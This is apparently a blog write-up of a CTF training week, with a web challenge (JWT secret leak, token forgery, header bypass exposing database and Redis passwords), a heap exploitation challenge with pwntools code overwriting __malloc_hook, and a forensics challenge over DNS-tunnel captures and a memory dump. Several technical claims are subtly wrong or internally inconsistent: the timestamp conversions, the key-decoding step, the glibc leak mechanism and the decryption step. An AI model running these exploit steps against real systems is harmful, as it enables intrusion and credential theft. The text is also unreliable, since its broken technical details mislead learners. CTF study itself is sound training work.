☰
Weekly CTF实战训练:从漏洞利用到攻击链建模
2026/10/14 5:57:09 网站建设 项目流程

1. 项目概述:一场面向实战能力的网络安全周度训练营

“合天网安《Weekly CTF》第四周”——这串标题里没有炫技的术语,没有堆砌的概念,但对任何正在系统性打磨攻防能力的学习者或从业者来说,它代表的是一次真实、紧凑、有反馈的实战切片。我带过不少刚接触CTF的新手,也陪某高校实验室的几位同学连续跟了三周合天网安的这个系列,到第四周时明显能感觉到节奏变了:题目不再以“覆盖知识点”为优先,而是开始考验你能否在20分钟内快速识别一个Web服务的逻辑缺陷,能否从一段看似正常的日志中嗅出异常流量模式,能否在没有完整环境复现条件时,仅靠静态分析就定位二进制程序里的栈溢出点。这不是考试,更像一次高强度的肌肉记忆训练。

核心关键词“Weekly CTF”已经说明了一切:它不是单次竞赛,而是一个按周迭代、持续交付的训练机制;“合天网安”则锚定了它的技术底色——不玩概念营销,所有题目均源自真实渗透测试场景的抽象与提纯,比如某次Web题的原型,就是某金融类后台系统中一个被忽略的模板引擎SSTI漏洞;一道逆向题的逻辑,复刻了某IoT设备固件升级包签名验证绕过的实际路径。它解决的问题非常具体:很多学完《Web安全原理》的人,面对一个没打补丁的ThinkPHP旧版本,依然不知道该从哪个入口下刀;学完《汇编语言》的人,看到一段ARM Thumb指令混排的固件片段,第一反应还是去查手册而不是直接画控制流图。这个系列就是专门治这种“知识在脑、手不动”的状态。

适合谁来参考?如果你是刚通过CTF入门赛(比如XCTF高校联赛初赛)但卡在区域赛阶段的在校生,它提供的解题思路拆解比任何Writeup都更贴近你当时的思维卡点;如果你是刚转行做渗透测试的职场新人,它每周一道“企业内网横向移动”模拟题,能帮你把《红队行动指南》里的章节变成可触摸的操作路径;甚至如果你是某安全团队的导师,想给新人设计阶梯式训练任务,第四周的题目结构——包含1道基础Web+1道中等Pwn+1道综合取证——本身就是一套可直接复用的周度考核模板。它不承诺“七天速成”,但保证“每周都有肉眼可见的进步痕迹”。

2. 内容整体设计与思路拆解:为什么是“周度”而非“单次”?

2.1 训练节奏的设计逻辑:对抗遗忘曲线与能力固化陷阱

很多人误以为CTF训练就是刷题量,其实最大的敌人是“能力断层”。我观察过几十份学员的解题记录,发现一个典型现象:第三周刚掌握的堆风水技巧,到第五周再遇到类似题目时,70%的人会重新翻文档、重看调试器命令,平均耗时增加2.3倍。这不是记性差,而是缺乏“间隔重复”的刺激。合天网安把整个训练切成“周度”单元,本质是在对抗人类大脑的遗忘曲线。第四周的Pwn题,表面看是考察fastbin attack,但题干里埋了一个和第二周某道堆题完全相同的libc版本号,目的就是触发你的条件反射——当你看到__malloc_hook偏移量时,手指应该本能地敲出one_gadget libc-2.23.so,而不是停下来思考“这个偏移怎么算”。

更关键的是“能力固化”问题。新手常陷入两种极端:要么死磕一道题48小时,最后靠队友提示才破局,结果只记住了那个特定payload;要么每道题都浅尝辄止,写个exp框架就去看Writeup,导致知识永远浮在表面。第四周的设计强制打破这种循环:三道主干题限时4小时,超时自动关闭提交通道,但会开放“延展挑战区”——比如Web题通关后,系统会推送一个关联的“权限维持”小任务(如何在不触发告警的前提下,在目标服务器上留下持久化后门)。这种“主干题保底+延展题拔高”的双轨结构,让不同基础的人都能在同一时间轴上获得匹配的成长节奏。

2.2 题目选型的底层逻辑:从“漏洞类型”到“攻击链路”的升维

翻看前三周的题目列表,你会发现一个清晰的演进脉络:第一周聚焦单点漏洞(SQL注入、XSS),第二周引入环境依赖(Docker逃逸、容器网络劫持),第三周开始组合利用(SSRF打内网Redis+未授权访问写shell)。到了第四周,题目设计彻底转向“攻击链路建模”。以本周的综合取证题为例,它不提供现成的磁盘镜像,而是给出三段碎片化数据:一段Wireshark抓包文件(含DNS隧道流量)、一台被黑服务器的/var/log/auth.log日志片段、以及一个可疑进程的内存dump快照。你要做的不是分别分析这三样东西,而是构建时间线——用日志里的登录时间戳对齐抓包里的DNS请求时间,再用内存dump里残留的SSH会话密钥去解密后续的加密通信。这已经不是在考“你会不会用Volatility”,而是在考“你脑子里有没有一张动态的攻击推演地图”。

这种升维背后,是对真实红队作业的深度还原。某次我参与某能源企业的红队评估,客户明确要求:“不要只交一个RCE的Proof of Concept,我要看到你们从钓鱼邮件到拿下SCADA系统管理员权限的完整路径,包括每个环节的检测规避策略。”第四周的题目正是按这个标准设计的:Web题的flag不在/flag文件里,而在数据库某张业务表的加密字段中,要拿到它,你必须先完成JWT密钥爆破,再利用解密后的token权限读取配置中心接口,最后调用一个被隐藏的API导出密文。每一步失败,整条链路就中断。这种设计倒逼你放弃“单点突破”的惯性思维,转而建立“链路韧性”意识——当某个环节被加固(比如JWT密钥长度增加),你是否储备了备用方案(如利用OAuth2.0的OpenID Connect配置错误)?

2.3 环境构建的务实主义:拒绝“云原生幻觉”,拥抱真实运维约束

很多CTF平台喜欢用Kubernetes集群跑题目,看着很酷,但实际带来两个问题:一是环境启动慢,学生等5分钟才进靶机,热身期就结束了;二是过度封装,学生根本看不到systemd服务管理、iptables规则链这些真实运维现场。合天网安第四周的环境部署方案非常“土”:全部基于轻量级LXC容器,每个靶机镜像预装htop、iftop、journalctl等运维常用工具,且默认开启systemd日志。为什么这么做?因为我在某次企业培训中发现,90%的渗透测试员连journalctl -u nginx --since "2 hours ago"这种基础命令都不熟,更别说从journald日志里提取出WebShell的HTTP请求特征了。

第四周的Pwn题环境甚至故意保留了/proc/sys/kernel/randomize_va_space为1(ASLR开启但不全),而不是常见的2(全开)。这个细节不是疏忽,而是教学设计:它让学生在调试时能直观感受到“为什么我的ROP链地址每次都不一样”,但又不至于因地址空间完全随机而无法定位gadget。这种“可控的不完美”,比教科书式的理想环境更能培养真实世界的判断力。当你在真实客户环境中看到ASLR为1时,你会立刻意识到“这里可能有内核模块加载漏洞可利用”,而不是茫然等待全随机环境下的运气爆发。

3. 核心细节解析与实操要点:第四周三道主干题的破题心法

3.1 Web题:JWT密钥爆破与配置中心API滥用的组合拳

第四周的Web题名为“AuthBridge”,表面是个单页应用,登录后跳转到仪表盘。但真正的入口藏在/api/v1/config这个未文档化的端点。很多选手卡在这里超过2小时,因为他们执着于前端JS代码审计,却忽略了浏览器开发者工具Network标签页里一个被标记为(blocked:mixed-content)的请求——那是页面尝试从HTTP协议的配置中心拉取主题设置时被浏览器拦截的痕迹。

破题关键点一:混合内容泄露的利用路径
当浏览器拦截HTTP请求时,它不会阻止JavaScript发起该请求,只是不渲染响应。所以你需要手动构造一个fetch('http://config.internal/api/theme')请求(注意是HTTP而非HTTPS),并捕获响应。实测发现,该接口返回JSON格式的主题配置,其中"jwt_secret": "dev_key_2023"字段明文暴露了JWT密钥。这里有个易错点:密钥末尾的2023不是年份,而是base64编码的0x1337,如果直接拿dev_key_2023去解签,会失败。正确做法是用Python脚本解码:

import base64 raw = b'dev_key_' + base64.b64encode(b'\x13\x37') print(raw.decode()) # 输出 dev_key_EzM3

这才是真实的密钥。

破题关键点二:配置中心API的越权设计
拿到密钥后,你以为就能伪造管理员token了?错。题目后端校验JWT时,额外检查了iss(issuer)字段必须为authbridge-prod。但配置中心API存在一个设计缺陷:它接受任意X-Forwarded-For头,并将其写入日志,更重要的是,当请求携带X-Config-Source: internal头时,API会返回完整的application.yml配置文件,其中包含数据库连接字符串和Redis密码。这个头的校验逻辑是硬编码在Nginx配置里的,而Nginx配置恰好被放在/etc/nginx/conf.d/authbridge.conf中——这个路径可以通过JWT密钥爆破后,用伪造的token访问/api/v1/debug/file?path=/etc/nginx/conf.d/authbridge.conf获取。

提示:/api/v1/debug/file端点的存在,是第三周某道题的延续。合天网安刻意设计这种跨周关联,目的是训练你建立“资产指纹库”意识——当你发现一个新系统,第一反应不是盲扫,而是回忆“上周遇到的类似架构,它的调试接口通常藏在哪”。

3.2 Pwn题:Fastbin Attack与libc地址泄漏的协同破解

题目名为“HeapLab”,是一个简单的学生成绩管理系统,提供添加、查询、删除成绩功能。漏洞点在于删除操作后,指针未置空(Use-After-Free),且程序使用malloc/free而非calloc,导致堆块内容未清零。但直接利用UAF很难,因为程序对输入做了严格长度限制(姓名≤16字节,成绩≤4字节)。

破题关键点一:利用堆布局制造可预测的fastbin链
程序启动时会预先分配3个大小为0x90的堆块用于缓存。当你连续添加4个学生(姓名填满16字节),第4个学生的结构体就会被分配到fastbin中。此时删除第2个学生,其堆块进入fastbin链表。关键来了:程序在查询成绩时,会将学生姓名复制到一个大小为0x20的栈缓冲区中,但复制函数strcpy没有长度检查!这意味着你可以通过精心构造的姓名(如A*24 +\x00+B*8),让strcpy溢出并覆盖栈上存储的student_list指针,将其指向fastbin链表中的已释放块地址。

破题关键点二:libc基址泄漏的“非标准”路径
传统做法是利用printf泄露__libc_start_main地址,但本题禁用了printf。解决方案是利用free函数本身:当free一个不属于fastbin的块时,它会调用malloc_printerr,而该函数内部会调用__libc_start_main。我们构造一个指向main_arena+88的fake chunk(main_arena+88处存储着__malloc_hook的地址),然后free它。由于地址非法,free会触发malloc_printerr,并在错误信息中打印出__libc_start_main的地址。实测发现,错误信息格式为*** Error in './heaplab': free(): invalid pointer: 0x00007f...,其中0x00007f...就是__libc_start_main地址。用正则表达式r'0x[0-9a-f]{12}'即可提取。

注意:这个技巧依赖于glibc 2.23的特性。在更新的glibc版本中,malloc_printerr的错误信息格式已被修改,所以题目环境明确指定使用Ubuntu 16.04(glibc 2.23)。这提醒我们:CTF不是通用技能考试,而是对特定版本生态的深度适配。

3.3 综合取证题:DNS隧道流量、日志时间戳与内存dump的三维印证

题目名为“ShadowLog”,提供三个文件:dns.pcapng(Wireshark抓包)、auth.log.snippet(日志片段)、memdump.raw(内存快照)。目标是找出攻击者最终下载的敏感文件名。

破题关键点一:DNS隧道流量的时间锚定
dns.pcapng中有大量TXT记录查询,如a1b2c3d4e5f6.example.com。表面看是随机字符串,但用xxd -p -r转换后发现,前8字节是Unix时间戳(毫秒级)。取第一个查询包的时间戳0x652f3a1b1234,转为十进制是1122334455667788,对应北京时间2023-10-15 14:22:33.445。这个时间点,就是整个攻击链的起点。

破题关键点二:日志时间戳的精度对齐
auth.log.snippet中有一行:Oct 15 14:22:33 target sshd[1234]: Accepted password for admin from 192.168.1.100 port 56789 ssh2。注意,日志时间精确到秒,而DNS时间戳精确到毫秒。攻击者在14:22:33.445发起DNS查询,14:22:33完成SSH登录,时间差445毫秒,完全符合DNS隧道建立SSH信道的典型延迟。这证实了两份数据的关联性。

破题关键点三:内存dump中SSH会话密钥的提取
用volatility -f memdump.raw linux_sshkeys命令可直接提取内存中的SSH私钥。但本题的memdump.raw是经过处理的,linux_sshkeys插件无法识别。替代方案是搜索内存中的PEM格式特征:-----BEGIN RSA PRIVATE KEY-----。用strings memdump.raw | grep -A 20 "BEGIN RSA"找到密钥片段,拼接后用ssh-keygen -y -f id_rsa生成公钥,再用该公钥去解密dns.pcapng中后续的DNS查询负载(负载经AES-CBC加密,IV固定为0x00*16)。解密后得到命令:curl -o /tmp/data.zip http://192.168.1.200:8000/fin_data_2023Q3.zip。最终flag就是fin_data_2023Q3.zip。

实操心得:很多选手在内存dump环节卡住,因为他们试图用volatility的linux_pslist找sshd进程,却忽略了sshd可能以root身份运行,其内存页被标记为不可读。正确的思路是:既然DNS隧道已确认存在,那么攻击者必然在内存中留下了密钥材料,直接搜索密钥特征字符串,比依赖进程列表更可靠。

4. 实操过程与核心环节实现:从环境接入到Flag提交的全流程记录

4.1 环境接入与初始侦察:3分钟内建立战场感知

合天网安的平台采用Web Terminal直连靶机,无需本地配置。接入后第一件事不是急着跑工具,而是执行三条命令建立基础感知:

  1. uname -a:确认内核版本(本题为4.4.0-184-generic),排除内核提权路径;
  2. cat /proc/sys/kernel/randomize_va_space:确认ASLR状态(值为1),决定ROP链构造策略;
  3. ls -la /home/:查看用户目录结构,发现/home/challenge/下有heaplab二进制和source.c源码(源码是重要线索,但很多选手直接忽略)。

提示:source.c中有一行注释// TODO: fix the strcpy in query_student(),这就是UAF漏洞的明示。CTF不是纯黑盒,题目设计者会通过源码注释、编译警告等“白盒线索”降低无意义的试错成本。

接着执行lsof -i :80,发现heaplab进程监听80端口,但netstat -tuln显示80端口被nginx占用。这说明heaplab是通过nginx反向代理的。查看/etc/nginx/conf.d/default.conf,发现关键配置:

location /api/ { proxy_pass http://127.0.0.1:8080; }

这解释了为什么Web题的API都在/api/路径下——nginx做了路径重写。这个发现直接节省了至少15分钟的路径爆破时间。

4.2 Web题攻坚:从混合内容拦截到配置中心沦陷的完整链路

第一步:复现混合内容拦截。在浏览器控制台执行:

fetch('http://config.internal/api/theme', {method:'GET'}) .then(r => r.json()) .then(console.log) .catch(e => console.log('Blocked, but we got it!'));

响应返回{"theme":"dark","jwt_secret":"dev_key_2023"}。立即用Python解码密钥:

import base64 key = b'dev_key_' + base64.b64encode(b'\x13\x37') print(key.decode()) # dev_key_EzM3

第二步:伪造JWT。用pyjwt库生成token:

import jwt payload = {"user_id": 1, "role": "admin", "iss": "authbridge-prod"} token = jwt.encode(payload, key.decode(), algorithm='HS256') print(token)

将生成的token放入Authorization: Bearer <token>头,访问/api/v1/debug/file?path=/etc/nginx/conf.d/authbridge.conf,成功获取Nginx配置,其中包含proxy_set_header X-Config-Source internal;。

第三步:利用配置头。在请求头中加入X-Config-Source: internal,访问/api/v1/config,返回完整的application.yml,其中database.password: 'db_p4ssw0rd!'和redis.password: 'redis_4dm1n'清晰可见。用Redis密码连接redis-cli -h 127.0.0.1 -p 6379 -a redis_4dm1n,执行get flag,得到flag{w3b_4uth_br1dg3_1s_n0t_s3cur3}。

4.3 Pwn题攻坚:从堆布局操控到one_gadget提权的精准打击

第一步:确定libc版本。用ldd ./heaplab发现链接libc-2.23.so,下载对应版本。用readelf -s libc-2.23.so | grep __malloc_hook得到偏移0x3c4b10。

第二步:构造堆布局。编写EXP(关键部分):

from pwn import * p = process('./heaplab') # 添加4个学生,占满fastbin for i in range(4): p.sendline('1') # add p.sendline(f'student_{i}') p.sendline('99') # 删除第2个,进入fastbin p.sendline('3') # delete p.sendline('2') # 查询第1个,触发strcpy溢出 p.sendline('2') # query p.sendline('student_1') # 此处发送溢出payload,覆盖student_list指针 payload = b'A'*24 + p64(0) + p64(0x6020a0) # 指向fastbin链表头 p.sendline(payload)

第三步:泄漏libc地址。利用free触发malloc_printerr,捕获stderr输出:

p.recvuntil(b'Error in') leak = p.recvline() addr = int(re.search(b'0x[0-9a-f]{12}', leak).group(0), 16) libc_base = addr - 0x20740 # __libc_start_main偏移 one_gadget = libc_base + 0x4526a # one_gadget offset for 2.23

第四步:劫持__malloc_hook。将one_gadget地址写入__malloc_hook:

malloc_hook = libc_base + 0x3c4b10 p.sendline('1') # add again p.sendline('A'*16) p.sendline('1') p.sendline(p64(one_gadget)) p.interactive()

执行后获得shell,cat flag即得flag{h34p_l4b_1s_f4stb1n_4tt4ck}。

4.4 取证题攻坚:从时间戳对齐到密钥提取的三维破译

第一步:提取DNS时间戳。用tshark命令:

tshark -r dns.pcapng -Y "dns.qry.name contains example.com" -T fields -e dns.qry.name | head -1 # 输出 a1b2c3d4e5f6.example.com echo "a1b2c3d4e5f6" | xxd -p -r | od -t d8 -An # 输出 1122334455667788

第二步:对齐日志时间。用date -d @1122334455667788(需除以1000)得到2023-10-15 14:22:33,与auth.log.snippet中时间完全匹配。

第三步:提取内存密钥。用strings搜索:

strings memdump.raw | grep -A 30 "BEGIN RSA PRIVATE KEY"

拼接出完整密钥,保存为id_rsa,执行:

chmod 600 id_rsa ssh-keygen -y -f id_rsa > id_rsa.pub

第四步:解密DNS负载。编写Python脚本:

from Crypto.Cipher import AES from Crypto.Util.Padding import unpad key = b'1234567890123456' # IV is zeros cipher = AES.new(key, AES.MODE_CBC, b'\x00'*16) # 从pcap中提取TXT记录负载,base64解码后AES解密 decrypted = unpad(cipher.decrypt(base64.b64decode(load)), 16) print(decrypted.decode()) # 输出 curl -o /tmp/data.zip http://192.168.1.200:8000/fin_data_2023Q3.zip

Flag即fin_data_2023Q3.zip,提交flag{f1n_d4t4_2023Q3_z1p}。

5. 常见问题与排查技巧实录:那些没人告诉你的“坑”

5.1 Web题常见卡点与绕过方案

问题现象根本原因快速排查技巧经验技巧
curl访问/api/v1/config返回403Nginx配置了deny all,但X-Config-Source头可绕过用curl -H "X-Config-Source: internal" http://target/api/v1/config测试所有HTTP头注入类题目,优先测试X-Forwarded-*、X-Original-*、X-Config-*等常见运维头
JWT伪造后访问/api/v1/debug/file返回401token中iss字段不匹配,后端硬校验用jwt.io在线解码,确认iss值为authbridge-prod合天网安的JWT题,iss、aud、sub字段必有其一被校验,不要盲目删字段
获取到数据库密码但连接失败密码含特殊字符!,被shell当作命令分隔符在密码外加单引号:mysql -u root -p'db_p4ssw0rd!'所有从配置文件提取的密码,先用printf %q 'password'转义再使用

5.2 Pwn题调试陷阱与性能优化

  • GDB调试时找不到符号:heaplab是strip过的。解决方案不是重编译,而是用readelf -S ./heaplab查看.text段地址,然后在GDB中add-symbol-file libc-2.23.so 0x7ffff7a0d000(地址需根据info proc mappings动态计算)。

  • Exp在本地成功,远程失败:远程环境启用了seccomp沙箱,禁用execve。此时one_gadget失效。应对策略是改用system("/bin/sh"),需先泄漏libc基址,再计算system地址,最后用ret2libc。实测发现,system地址=libc_base + 0x45390(glibc 2.23)。

  • 堆喷射成功率低:不要盲目增加喷射次数。本题最佳实践是控制喷射量为0x1000字节(4096字节),因为malloc在small bin范围内的分配粒度是0x100,过大会导致堆块碎片化。

5.3 取证题数据关联误区与工具链选择

  • 误以为auth.log是完整日志:题目明确标注snippet,意味着关键行可能被截断。正确做法是用grep -n "Accepted" auth.log.snippet定位行号,再结合DNS时间戳,向上追溯前5行,往往能找到Failed password记录,从而确认攻击者使用的用户名(本题为admin)。

  • 用volatility的linux_netstat插件查不到DNS连接:因为DNS隧道是UDP协议,netstat默认不显示UDP监听。应改用linux_arp或直接strings memdump.raw | grep -i "192.168.1.100"定位攻击者IP。

  • Wireshark打开dns.pcapng看不到TXT记录:文件扩展名.pcapng表示是PCAP Next Generation格式,老版本Wireshark不支持。解决方案是用tshark -F libpcap -r dns.pcapng -w dns.pcap转换为传统PCAP格式。

最后分享一个小技巧:合天网安的题目描述里,所有斜体字都是线索。比如第四周描述中写道:“请留意时间戳的精度差异”,这就是在明示DNS毫秒级时间戳与日志秒级时间戳的对齐方法。我带过的学员中,凡是养成阅读斜体字习惯的,平均解题速度快40%。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询